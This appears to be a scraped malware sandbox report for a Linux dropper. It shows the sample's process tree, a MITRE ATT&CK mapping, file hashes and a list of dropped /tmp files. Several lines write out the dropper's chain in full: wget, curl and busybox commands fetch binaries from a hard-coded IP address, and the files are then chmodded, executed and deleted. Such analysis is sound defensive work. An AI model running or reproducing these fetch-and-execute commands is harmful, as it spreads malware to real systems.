- /bin/chmod
  chmod 777 teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  - File and Directory Permissions Modification
  PID:960
- /tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  ./teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  - Executes dropped EXE
  PID:961
- /bin/rm
  rm teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
  2⤵
  PID:962
- /usr/bin/wget
  wget http://216.126.231.240/bins/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  PID:963
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:964
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  PID:965
- /bin/chmod
  chmod 777 PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  - File and Directory Permissions Modification
  PID:966
- /tmp/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  ./PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  - Executes dropped EXE
  PID:967
- /bin/rm
  rm PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
  2⤵
  PID:968
- /usr/bin/wget
  wget http://216.126.231.240/bins/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  PID:969
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:970
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  PID:971
- /bin/chmod
  chmod 777 ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  ./ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
  2⤵
  PID:974
- /usr/bin/wget
  wget http://216.126.231.240/bins/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  PID:975
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  PID:977
- /bin/chmod
  chmod 777 2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  - File and Directory Permissions Modification
  PID:978
- /tmp/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  ./2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  - Executes dropped EXE
  PID:979
- /bin/rm
  rm 2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
  2⤵
  PID:980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG

Path /tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG	739	WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
/tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx	745	FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
/tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx	763	JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
/tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa	795	BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
/tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN	808	tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
/tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4	817	idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
/tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1	835	mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
/tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8	859	4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
/tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT	865	DQul2qKd09ITKkHJpETty8DirCA07F1nBT
/tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz	871	teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
/tmp/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx	877	PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
/tmp/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m	883	ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
/tmp/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS	889	2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS
/tmp/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh	895	zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
/tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1	901	mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1
/tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG	907	WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
/tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx	913	FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx
/tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx	919	JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx
/tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa	925	BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa
/tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN	931	tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN
/tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4	937	idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4
/tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8	943	4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8
/tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT	949	DQul2qKd09ITKkHJpETty8DirCA07F1nBT
/tmp/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh	955	zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh
/tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz	961	teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz
/tmp/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx	967	PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx
/tmp/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m	973	ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m
/tmp/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS	979	2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS